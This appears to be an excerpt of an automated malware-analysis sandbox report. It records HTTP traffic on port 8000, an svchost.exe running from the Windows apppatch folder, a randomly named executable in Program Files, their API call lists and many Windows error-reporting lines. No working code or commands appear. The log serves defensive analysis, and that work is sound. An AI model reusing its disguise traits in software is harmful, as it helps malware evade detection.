Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,	2_2_02C7C380
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7C069
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7C069
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C78F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,	2_2_02C78F20
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C7BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,	2_2_02C7BDD0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,	6_2_0124C380
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,	6_2_0124BDD0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01248F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,	6_2_01248F20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0124BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	6_2_0124BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,	7_2_0104C380
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,	7_2_0104BDD0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01048F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,	7_2_01048F20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0104BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	7_2_0104BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2C069
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,	9_2_00A2C380
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,	9_2_00A2BDD0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A2BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,	9_2_00A2BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A28F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,	9_2_00A28F20

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C844F0 GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,

2_2_02C844F0

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
